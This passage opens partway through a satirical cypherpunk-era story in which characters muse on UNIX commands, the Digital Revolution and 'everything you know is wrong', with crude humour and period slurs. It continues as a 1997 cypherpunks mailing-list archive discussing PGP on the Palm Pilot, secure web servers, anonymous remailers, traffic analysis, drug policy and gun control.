results of my efforts to use of the command on the computer, itself,
however, nothing ever seemed to happen.
"My mentor was watching me entering all of these complicated, esoteric
commands designed to do this, or that, only to have the end result once
again be an empty prompt staring back at me from the computer screen. He
leaned over me, calling up my last command, and added the '-print' option to
it."

Jonathan laughed at the memory.
"As he walked away, with my screen scrolling madly, reporting the voluminous
results of the command, he smiled and said, 'come back.' Point taken..."

Bubba rose, once again, to continue his dissertation to the group.

"Which brings us back to my original statement." Bubba nodded to Jonathan
for his contribution to the thread of the conversation.

"Despite having spent a great deal of time and effort in 'learning by rote'
the details and intricacies of the 'find' command,' everything Jonathan knew
was wrong.
"Why?" Bubba challenged the assembled members of the Magic Circle.

"Because what he had learned didn't do him any good." Priscilla spoke up.

"He didn't know the importance and the purpose of the various aspects of the
command whose details he had memorized." Alexis suggested.

Bubba looked to Jonathan, who had told this story before, without ever
really seeking the true lesson which it potentially held for him.

"I was expecting to be spoon-fed." Jonathan said, in awe of what he had just
realized.

"Yes!" cried all of the small group, at once.

The tattered remnants of the Magic Circle each sat quietly, writing, typing,
or thinking about the full implications of their discussion, so far, on the
possibility that, as Bubba and Firesign Theater had informed them,
everything they knew was wrong.

"Everything you know can be as right as rain," Alexis pointed out, "until
you take a step back, and a step to the left...and then it is all wrong."

Jonathan scanned what he had written on the GraphiScreen and added, "You may
be the consummate master of hand-to-hand combat, but if you bring a knife to
a gunfight, then everything you know is wrong."

The Cowboy laughed, understanding perfectly the line of thinking that had at
one time been used in Texas as an argument for the superiority of one race
over another.
"AND, OR, IF!"

All eyes turned to the Cowboy.

"After 'GO' and 'COME BACK' had been established as the essence of computer
programming," he smiled, "the 'retards' in charge of programming computers
began to get fancy, including the basics of elementary logic in their
programming structures.
"They began to realize that 1 AND 0 would inherently return results that
were different from 1 OR 0, in certain situations. Upon recognizing that the
same command would return different results in dissimilar situations, then
they began to realize the power of being able to qualify the command with
IF."

"And for many years," Bubba added, "these 'geniuses' became the elite of the
computer industry for their ability to say AND, OR, IF, at a much faster
rate than the pencil-pushers were able to do.
"While ridiculing the idea that a 'mentally retarded' member of their
society could be classified as a genius for deciding that 'IF' his hand hurt
like hell when he told it to 'GO' to a hot burner on a stove, 'THEN' he
would remove it, they nonetheless held themselves and one another in high
esteem for their rudimentary ability to write code that said, "IF I>0..."

Those gathered were laughing at Bubba, at each other, and at themselves, as
they recalled the passage from "The Xenix Chainsaw Massacre" which said,
For men...it's like sex. You get half-decent at it, and you think you
goddamn invented it. You look at those poor fools passing by on the street
below and wonder what they would think if they knew you could make the
variable 'i' count to a hundred, in increments of two, nonetheless, (or
four, or ten, or whatever I decide---I have the power, the watch will do my
bidding). But you could never explain it to them, they wouldn't understand.
They don't have your knowledge.

Or Power. It's a Secret that mere mortals can't fathom

Priscilla, having become enamored with the rise of the FemiNazis in the
Author's era, could not resist mentioning,
"As long as computers remained the exclusive domain of the male members of
the species, their development was basically limited to the production of
'bigger and better' penises, which performed at increasingly faster rates of
speed."

Alexis, seeing the chagrin of the male members of the group, backed up her
mother's perspective by adding,
"It wasn't until the female members of the tribe began to educate the male
members that bigger and faster was not necessarily better, not only in
sexual matters, but also in the realm of computer technology," she paused to
receive a high-five from Priscilla, "that computers began to become somewhat
useful for serving humans, rather than humans increasingly adapting their
lifestyles to fit the design of the machine."

"Yes...yes...a thousand times, yes!" Bubba roared, toasting the ladies, who
returned his toast with an appreciative smile.

Nonetheless, Bubba could not resist adding, "Now shut up and quit butting
into men's business."

After the women had finished pelting the old coot with ice cubes from their
water glasses, Alexis returned Bubba's belittlement, kind for kind.
"Yes, Priscilla," Alexis said, "we should let the man wearing the dress have
the floor."

Bubba smiled, smoothed his robe as if he was a debutante at her coming-out
party, and continued.

"Although both women and men were capable of fighting for survival when
faced with a hostile world, the men tended to become the warmongers of
various societies, since the hormones of the homo sapiens seemed to lean
toward 'fight' in the males and 'flight' in the females. Thus the males
tended to fight aggressively, to 'conquer' new territories, and the females
tended to fight defensively, in order to 'defend' their territory, when it
was invaded.
"This was reflected in their respective roles in procreation," Bubba pointed
out, "wherein the males would seek to penetrate the inner space of the
woman, and the woman would seek to limit access to the inner parts of her
physical being by exercising the power of personal choice as to who she
would allow to penetrate her physical space and, therefore, her inner
being."

Alexis spoke up, saying, "Is it time for the children to leave the room?"

"No, dear, you may stay." Bubba responded, winking at her.

The Cowboy got things back on track by asking Bubba,
"Wasn't the Author's era a time when humanity began moving past enslavement
to the physical attributes of their bodies and their hormones, and toward
accessing both the Yin and Yang aspects of the potentials that they all
shared in common?"

"Yes." Bubba stated, happy for the opportunity to move the discussion back
toward the original starting point of the dialogue he had engendered.

"To everything, there is a season. And a time to every purpose, under
heaven." Bubba declared.

"The Byrds." Jonathan said, then adding, "Or the Bible, if you are the
religious type."

"Exactly!" Bubba recognized the unwitting flow of the Tao in Jonathan's
statement.

"Everything you know is wrong."

"When Jesus was the popular figure of the day, then one was 'right' in
attributing the statement to the Bible.
"However, once the Beatles became more popular than Jesus," Bubba was
humorously referring to one of the meaningless, but important, ten-second
sound bytes of the Author's era, "then attributing the statement to a
musical group called the Byrds was 'right.'"

"Does the warm or the cold water lie at the top of the lake?" Bubba asked,
rhetorically. "It depends on the time, the place, and the season."

"Twice a year, the lake turns over, with the warm water rising to the top,
and the cold water sinking to the bottom, or vice versa. So no matter how
'right' you are at any particular point in time, then hours, seconds, or
minutes later, you may be 'wrong.'"

Bubba was about to bring his arguments full circle, bringing great
metaphysical meaning to the things they had been discussing, but he realized
that his mind had gone blank, and he could not remember what his original
point had been.
He motioned for the Cowboy to proceed.

The Cowboy laughed, picking up the thread that Bubba had left hanging in
mid-air.

"Everything you know is wrong...why?"

"Because the universe is in motion, and knowledge is static." Alexis
replied.

The Cowboy nodded his appreciation to Alexis for cutting to the heart of the
matter.

"Jonathan mentioned that the problem he had with the 'find' command in UNIX
was the result of his studying the details of the command, but expecting to
be 'spoon-fed' the results.
"At the tail end of the Industrial Revolution, when the education of the
masses had been brought into alignment with the goals of the mechanization
of society, the common view was that survival was now contingent on fitting
in as a cog of the societal and governmental machines that had been created.
"No longer was evolution and adaptation to a changing environment the secret
to survival. Now, survival was contingent upon forcing the environment to
fit into the structures that society and government had created in order to
bend the universe to the will of mankind. And the survival of the individual
within the society was therefore contingent upon staying within the confines
of the defined societal and governmental structures of the day."

"In the society that came about as a result of the Industrial Revolution,
'jigs' became the rule of the day. If the 'jig' in the factory required you
to put a square peg in the square hole, in order to turn out a final
product, then you did so. If all you had was round pegs, then you 'adjusted'
them into the shape of a square.
"The public education system of the Author's time was geared toward shaping
the future adults of society to fit properly into the 'jigs' that had been
designed to produce a pre-designed end product. Upon entry into the
educational system, the children were ill-suited to being fitted into a slot
of a particular size and shape, but they were 'broken down' and 're-formed'
to fit their predestined slots in life, over a period of time as they
advanced through the educational system."

Bubba noted, "And if they failed to be broken down and 're-formed' by the
regular educational system, then they were sent to 'reform school.'"

The Cowboy laughed at his mentor's astute observation.

"The Medium is the Message." the Cowboy reiterated one of the themes of
their current discussion. "And the medium of the Industrial Revolution was
the 'jig' which enabled mass production by turning the labor of the masses
into a no-brainer."

"Yes!" Bubba jumped to his feet, rejoining the land of people with
functional brains.

"Until the Industrial Revolution was overtaken by the Digital Revolution."

Bubba was in his element, once again.

"The technology, and thus the structure, of the Digital Revolution, was very
much in the hands of the youth of the day, who were progressing from
childhood to adulthood in a system of higher education in which they were
the hands and feet of the intellectual elite of that point in history.
"The InterNet was designed by the DOD to facilitate the efficient exchange
of ideas and information between the scientific titans of the era, as well
as allowing those in charge of the technology to monitor and manipulate both
the source and ultimate directions that this sharing of InformEnergy would
take."

"They didn't realize that they were dealing with InformEnergy, did they?"
Alexis asked, beginning to realize why it took so long for those using the
technology of the Digital Revolution to begin to understand the true power
of the forces they were dealing with.

"No, Alexis, they didn't." Bubba motioned for the Cowboy to explain further.

"The youth of the day understood the essence and potential of the technology
that they were working with." the Cowboy stated.
"But the dinosaurs in positions of power and authority, who failed to
realize that the Industrial Revolution was coming to a close, thought of the
InterNet as a way to pass data, and information. When the government of the
US began to recognize the enormous potential of the InterNet, they promoted
it as the 'Information Highway,' never suspecting that their children, who
were still capable of creating and shaping their world in tune with their
own ongoing growth processes, saw it, not as a tool to manipulate static
information and data, but as a living, breathing entity, which would
ultimately endow the static information of their forefathers with the energy
which they, themselves, generated by the methods and processes they chose to
employ in the use and development of the technology and the media, itself."

"We make our gods, and do battle with them...and they bless us." Bubba quoted
one of the sages of the Author's era, Herman Hesse.

"Interactive media!" Jonathan exclaimed, realizing for the first time the
full import of what this early InterNet aphorism implied.

"Precisely." the Cowboy agreed with Jonathan's unspoken train of thought.

"Bob Dylan, one of the poets of the Net-Generation's parents, had said
something to the effect that those who aren't busy living, are busy dying.
"The parents had heard, and understood, the poets of their time, during the
flower of their youth, but as they grew older, they settled into the statism
of their programmed, mechanized education. "

"The saints and sages of each generation were recognized and truly heard
only by a small portion of those existing in the epoch within which they
lived and died. It was invariably the youth of succeeding generations who
separated the wheat from the chaff in the knowledge to which they were
exposed in their formative years.
"When Jesus said, "I Am the Way, and the Truth, and the Light." many of
those of his own generation recognized the truth of what he spoke, but did
not understand the import of what these words could mean in the process of
daily life.
"The Net-Generation understood, 'I Am the Medium, and the Message.' They
understood that they were living in an interactive universe, in which they
were the eternal Tao which has moved the universe from the beginning of
time.

Bubba interjected, "While the titans of the computer industry were busy
finding ways to wrestle dynamic InformEnergy into predefined slots
corresponding to their own narrow desires, there were groups of individuals,
such as those in Taos, New Mexico, who were exploring such things as Chaos
Theory, and the like, which took into account the role of randomness in the
creation of the structure of the universe."

"And with the recognition of the role of chaos in the flow of the universe,"
Bubba continued, "came the possibility that humankind, through the use of
logic and rationale, could dance with the chaos surrounding them, taking
part in the creation of the universe in which they lived."

"Everything you know is wrong..." Alexis said, pausing to complete the thought
that was taking shape in her mind, "...if what you know remains static."

"Everything you know is right..." Jonathan expanded Alexis' line of thought,
"...if you recognize that you are living in an interactive reality which is a
creation of your own thoughts and actions, as well as those of others...a
co-creation of yourself and of the chaos around you."

The tattered remnants of the Circle of Eunuchs sat in quiet contemplation of
the surprising turn that their investigation into a period of time which lay
a hundred years in the past had taken.

"We are the world..." Priscilla quoted a song which had touched a nerve in the
generation of humanity that they had been scrutinizing.

Bubba smiled, taking Priscilla's hand in his own, and kissing it gently. He
turned to his compatriots in the Magic Circle and spoke softly.

"One of the terrible moments of each generation is when they look in the
mirror and exclaim, in horror, 'I have become my parents.'"

The group laughed, recognizing one of the verities of life that each
generation of humanity had to face at a certain crossroads in the course of
their life.

"But they need not say it in shame," Bubba continued, "if they can honestly
say that they have also, at some point in their life, gone beyond what their
parents were, and beyond what their parents were capable of becoming.
"The epitome of human development is to raise the children, whether they be
your own, or the children of others, to go beyond the limitations of what
you, yourself, have learned in the course of your lifetime."

Bubba turned to Jonathan to bring their meeting to a close, knowing that he
was the member of their small group who best understood the mentality of the
time which they had accessed through use of the Trei Transponder, in the
hope of making a difference in their past, and their future.

Jonathan's countenance took on a seriousness that reflected a wisdom that
went far beyond the number of years he had resided in physical existence.

"In my grandfather's era," he said, "when the CypherPunks stood at a point
in time where the future of humanity's movement into the arms of the Digital
Revolution was as yet undecided..."

Jonathan paused, to gather his thoughts in a manner that would fully express
one of the defining issues of that era, then continued.

"The battle cry of the day was, 'For the children.'"

"Save the children...protect the children...in the interests of the children..."

Jonathan sat, immobile, repeating, "...the children...the children ...the
children."

After a few moments, he looked up at those around him, and said, "As
governments based on physical location began to become an anachronism, those
who sought to disguise their evil intentions by 'wrapping themselves in the
flag' of their particular country, began to 'wrap themselves' in the cloak
of 'defenders of the innocent' in all areas of life, across the face of the
globe.

"The cry of 'Save the children!' was used to justify every evil action under
the face of the sun, as those in power strove to maintain their position in
a civilization that was in the process of dying and decaying around them."

"In order to save the children, we had to kill them." Priscilla said,
weeping at the thought of the innocents who died in the government assault
on the Branch Davidian compound in Waco, Texas.

"The sins of the fathers shall be visited upon the children." Alexis, added,
referring to the actions of Timothy McVeigh in bombing the Murrah Federal
Building in Oklahoma City.

"Nuke the children!" Bubba bellowed, causing the others to pelt him with a
fresh round of ice cubes.

The Cowboy stood up and raised his shotglass in toast to the youth who
currently existed a hundred years in the past of those gathered around the
antique oak table.

"A tribute to those to whom the future truly belongs...and to those who are
truly our only hope for the future."

"To the children..."

Copyright "Anonymous TruthMonger <blancw@microsoft.com>"
"That's not my boss. That's my lover!"
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 1 Oct 1997 15:15:33 +0800
To: jf_avon@citenet.net
Subject: Re: USRobotics Palm Pilot and PGP
In-Reply-To: <199710010219.WAA25642@cti06.citenet.net>
Message-ID: <Pine.BSF.3.96.971001085024.927A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 30 Sep 1997 jf_avon@citenet.net wrote:

> 
> Hi.
> 
> Is there anybody that know if there is a PGP compiled for the Palm 
> Pilot?  I looked around but didn't find anything.
Ian Goldberg ported some of PGP to the Pilot. His Pilot hacking page is at
http://www.isaac.cs.berkeley.edu/pilot/

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 1 Oct 1997 16:07:51 +0800
To: cypherpunks@toad.com
Subject: Re: Secure HTTP servers.
Message-ID: <199710010732.JAA25131@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim wrote:
> I just started working vfor a local ISP and they found out, i was on
> this list and knew a little about crypto. Anyway they seem to have the
> impression this would qualify me to know something. At any rate, on to
> the point of the mail. Could someone point me in the right direction for
> info on secure http servers ??  Also maybe info on which is better than
> the other ??

Jim,
  Congratulations on your new job at Microsoft.
  For info on secure http servers, you might want to check with
Netscape, for starters.

  Always willing to help out newbies.

THE .987 LIE





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 1 Oct 1997 16:28:30 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <199710010759.JAA27558@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bill Stewart wrote:
>Latency is essential to security, though high volume reduces the
>latency that's needed to get a given level of security.

Latency may be a means to get security in the current remailer design,
but it is a means to the end and not the end itself.  This doesn't
mean we shouldn't use latency to get security, but it is undesirable,
like using cinderblocks for construction.  The reason I point this out
is that it is important to separate design choices to achieve a goal
from the goal itself.

If we had a remailer network in which each customer had a constant
bandwidth connection to one or more remailers, you could have zero
latency mail. (Actually, this would be nice to use with those Comsec
phones.)

It is my understanding that serious naval vessels like aircraft
carriers use constant bandwidth channels to defeat traffic analysis.
That is, to every place they might wish to communicate, they
continuously broadcast encrypted information.  Most of the time the
channel is empty, of course, but nobody outside can tell when.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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gO8CEwGXkd6Gl3DEduIL2k7eKeuXoZqK1VVgcEnY4Vsci4yJhcl/FLOx5yGcEVNM
850LGQz/PgEg1XhoMpeOkSBh7vtX+nMOyENzALwf11sg/64tKRCCTHfqgfKSn1tC
IT6yrZ2NqUvMPxbomZ4U9DPsc0oz0TggrqHQneNWw1lYjzPDpXRn8jiSlalTZcFs
kYFeyQQbw23e0Y/Qevtjn8/QngF/4BcyC21mPxaz35U1EwiFV0Lp/Q==
=tfWS
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 1 Oct 1997 22:49:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
In-Reply-To: <199710010850.KAA03994@basement.replay.com>
Message-ID: <3.0.3.32.19971001102751.033e8a64@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:50 AM 10/1/97 +0200, Anonymous (Monty Cantsin) wrote:
>Were I to do this, I would like to donate the money to the EFF,
>preferably through an ecash payment.  Then, you can buy a 486 you
>consider to be suitable.  Also, donations to the EFF are tax
>deductible, are they not?
>
>What would be the odds of naming it the "Cantsin Remailer"?  Just
>curious.  ;-)

I'm sure a remailer could be named the Cantsin Remailer if you donated the
equipment for it.  Yes, I understand that donations to EFF are tax
deductible.  However, I don't know where EFF stands on remailers, or what
they would do with the ecash you send them.  If EFF does not want to become
involved in a remailer with you, then you still have the offer to send the
donation to EFGA if you would like.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 1 Oct 1997 18:20:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
Message-ID: <199710010850.KAA03994@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert A. Costner wrote:
>If Monty would like to send a suitable 486, I'll see to it that it
>becomes a remailer.  If you would like to send two 486's, I'll see to
>it that they both become remailers and at least one of them has a
>latency under 60 secs average.  Donated machines (stuffed with ecash,
>I hope) may be sent to:...

I will seriously consider it.

Were I to do this, I would like to donate the money to the EFF,
preferably through an ecash payment.  Then, you can buy a 486 you
consider to be suitable.  Also, donations to the EFF are tax
deductible, are they not?

What would be the odds of naming it the "Cantsin Remailer"?  Just
curious.  ;-)

The more I think about affinity remailers, the less off the wall they
seem to me.  It would really be rather neat if EFF supporters could
send a message through your remailer and then have the outgoing
message stamped with the amount contributed.  For those operating
anonymously it buys a mild amount of credibility, but you could also
imagine people sending non-anonymous messages through it: "See
everybody!  I gave $100 to the EFF!"

The publicity alone would probably be worth it for the first
organization to start doing this.  It should be good for a few
newspaper articles.  And it's certainly a novel and fun way to raise
money.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNDHh/ZaWtjSmRH/5AQFVWwf9HS0YNywx71oHR3mS7BzPQcIjmWpkxhs5
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w4VGEvBUM5Kc41eKLgm2E9pjaeN3uyUvXXk3S+cPkIcNCp4KrzzM1fA/COwwXk3u
aI4ke/aAoJrmql09guIlH5K5D1fNjN5npnipy50OqB+hSarZZZeKTJY7XLDX2BE7
Cuvz1dVoC4WulmoKxUuCv6emsR8jSAMW05N2QoY/+c+SZwnMLMz80qXTSELO0gXl
L4EYMHYNgwF396oYKSB1uDBNytJX8GadgtIm/jOJbGIuUctPvifzBA==
=1a6m
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 1 Oct 1997 23:21:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <46ee864da2b5a3279142ba5c3ce1deea@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Using a remailer doesn't hide the fact that the sender is using a
remailer.  An eavesdropper who monitors incoming messages to the
remailers can easily learn who is using them.  A constant bandwidth
connection will at least disguise *when* the messages are sent.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "H. Smith" <smithh@mwr.kic.or.jp>
Date: Wed, 1 Oct 1997 17:40:17 +0800
To: cypherpunks@toad.com
Subject: please send cyberpunk remailing list
Message-ID: <3431B69B.3D4CFB0E@mwr.kic.or.jp>
MIME-Version: 1.0
Content-Type: text/plain



Thamks H. Smith





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lutz Donnerhacke <lutz@iks-jena.de>
Date: Wed, 1 Oct 1997 20:20:32 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Secure HTTP servers.
In-Reply-To: <3431DF24.E4E9C578@one.net.au>
Message-ID: <199710011148.NAA01115@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



In iks.lists.cypherpunks, you wrote:
>the point of the mail. Could someone point me in the right direction for
>info on secure http servers ??  Also maybe info on which is better than
>the other ??

Secure HTTP ist the HTTP protocol based on SSL sockets. You may choose any
server you like or which fits your needs (database connections, ...). There
are not so many cryptographic failtures a developer can do. Keep you hands
away from servers only supporting exportable protocols.

Ask you next Certification Authority for help, they must support your server
software. (we do run one ;->)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim <jimmcl@one.net.au>
Date: Wed, 1 Oct 1997 14:12:50 +0800
To: cypherpunks@toad.com
Subject: Secure HTTP servers.
Message-ID: <3431DF24.E4E9C578@one.net.au>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

I just started working vfor a local ISP and they found out, i was on
this list and knew a little about crypto. Anyway they seem to have the
impression this would qualify me to know something. At any rate, on to
the point of the mail. Could someone point me in the right direction for
info on secure http servers ??  Also maybe info on which is better than
the other ??

Jason





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 1 Oct 1997 23:47:51 +0800
To: cypherpunks@toad.com
Subject: The War on Drugs--Surrender! / Re: INFO-RUSS: Reuter: Russian+Russian Drug Cartels (fwd)
Message-ID: <199710011514.RAA10457@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> Forwarded message:
> Subject: INFO-RUSS: Reuter: Russian+Russian Drug Cartels
> Post: Russian Mob, Drug Cartels Joining Forces

> The officials were quoted as saying that the growing alliances between
> Russian and Colombian criminal organizations were the most dangerous trend
> in drug smuggling in the Western Hemisphere.

Legalize drugs!
The War on Drugs *created* all of the current problems in this area
by making minute amounts of forbidden substances worth more than
precious metals.
If we make sugar illegal, so that it sells for hundreds of dollars a
gram, people will steal and kill over it. If we legalize it, the deaths
will stop.

The government would have us believe that the 'bad guys' are killing
each other and ourselves and our neighbors over substances that cost 
mere pennies to produce.
Bullshit. They are killing over the insane profits to be had from
cheap products which are selling for outrageous prices as a result
of the War on Drugs.

Bottom Line: You and I may have to die in order for the government to
attempt to prevent someone else from killing themself.

Makes sense to me...

Duhhh....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 2 Oct 1997 01:03:13 +0800
To: Jim <jimmcl@one.net.au>
Subject: Re: Secure HTTP servers.
In-Reply-To: <3431DF24.E4E9C578@one.net.au>
Message-ID: <v0300781db05823309adc@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:27 PM -0700 9/30/97, Jim wrote:
>Hi all,
>
>I just started working vfor a local ISP and they found out, i was on
>this list and knew a little about crypto. Anyway they seem to have the
>impression this would qualify me to know something. At any rate, on to
>the point of the mail. Could someone point me in the right direction for
>info on secure http servers ??  Also maybe info on which is better than
>the other ??

Stronghold is available internationally (http://www.c2.net).  Also Netscape
and Microsoft have secure HTTP servers with weak encryption in the export
versions.  I noticed that Lonely Planet in Australia was running Stronghold.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 2 Oct 1997 00:54:33 +0800
To: "Robert A. Costner" <cypherpunks@cyberpass.net
Subject: Traffic Analysis and Cover Traffic
In-Reply-To: <199710010759.JAA27558@basement.replay.com>
Message-ID: <v03102803b05829bdf10b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:03 AM -0700 10/1/97, Robert A. Costner wrote:

>Let me get this straight.  You are suggesting that anyone who wishes to be
>anonymous should send a continuous 24 hour stream of low bandwidth data to
>a central point in an effort to help keep anyone from knowing that they
>wish to be anonymous.

He was describing how a constant-traffic pipe defeats "sudden burst of
activity" types of traffic analysis. (As, for example, when nightime
activity in the White House is signalled by deliveries of lots of pizzas.)

In fact, this constant traffic approach is the basis of PipeNet, proposed
and described by Wei Dai, and, I think, being implemented.

Obviously not everyone will want this, or want to pay for it, etc. Nothing
surprising there. But some may. In particular, it makes more economic
sense for sites already full-time on the Net, e.g., remailers not on
dial-up lines. (And even on dial-up lines, a call every hour, with a packet
of traffic, can implement this cover traffic scheme, albeit in a different
form.(

>
>While this may help correct the latency problem, how do you think this will
>effect anonymity?  Do you think that by sending a continuos stream of data
>to the remailer, the sender will be less identifiable?

Again, _latency_ per se is not important, _mixing_ is.

As I understand your example above, the sender becomes less identifiable
because he can always be counted on to send some packets; an attacker
cannot see a message after a long period of no messages and correlate it to
a similar sudden increase of activity at a possible recipient machine.

Traffic analysis is something you should look at. And think about.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 2 Oct 1997 01:20:58 +0800
To: "H. Smith" <cypherpunks@toad.com
Subject: Re: please send cyberpunk remailing list
In-Reply-To: <3431B69B.3D4CFB0E@mwr.kic.or.jp>
Message-ID: <v03102804b05830a39019@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:34 PM -0700 9/30/97, H. Smith wrote:
>Thamks H. Smith

Yure wemcome! Cyberpunk remailing list am being sunt to yu. Get big disk ready.


--Klaus



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 2 Oct 1997 00:27:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailers and ecash (fwd)
Message-ID: <199710011624.LAA19524@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 1 Oct 1997 11:03:36 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Re: Remailers and ecash

> Using a remailer doesn't hide the fact that the sender is using a
> remailer.  An eavesdropper who monitors incoming messages to the
> remailers can easily learn who is using them.  A constant bandwidth
> connection will at least disguise *when* the messages are sent.

Huh? An eavsdropper can't use a clock to note when the packet was
sent?

I don't think so...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 2 Oct 1997 02:28:42 +0800
To: alexlh@yourchoice.nl (Alex Le Heux)
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <199710011747.NAA21027@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Mutt.19971001191622.alexlh@sarah.yc>, on 10/01/97 
   at 07, alexlh@yourchoice.nl (Alex Le Heux) said:

>In article <34302d8d.8163438@newshost.cyberramp.net> you wrote:

>[lots of ranting deleted]

>: Banning guns because criminals might use them equates to banning
>: encryption because criminals might use it.  And if you really believe
>: that both should be banned, then perhaps you should be banned from
>: using oxygen, because criminals breath it too.

>You people just don't get it do you? A gun has one purpose: To kill. Just
>like any other tool, a gun, if it is available _will_ be used at some
>point.

>So making sure there are lots of guns around only serves to make a lot of
>people very dead. This is a Bad Thing.

>Gun control laws are not the issue. It's a matter of mentality. In
>Europe, where we have rather strict guncontrol laws, and have had them
>for a long time a decent human being will not even think of shooting
>someone else. In the US, where guns are tradition and part of the
>American way, many people would not think twice before shooting someone.
>The result of this is that the number of people getting killed by guns is
>enourmous, be they criminals, little kids, old grannies, or presidents.

>This sucks.

>We are not trying to export our stupidity, we're just trying to explain
>to you how we live. We live in a place where we don't even have to think
>about getting a gun, because the chances of us encountering a gun in the
>hands of an adversary are negligible.

>Wake up and smell the coffee, dude. If you have lots of guns around,
>you're gonna end up with lots of people getting shot.

What a crock of shit!!

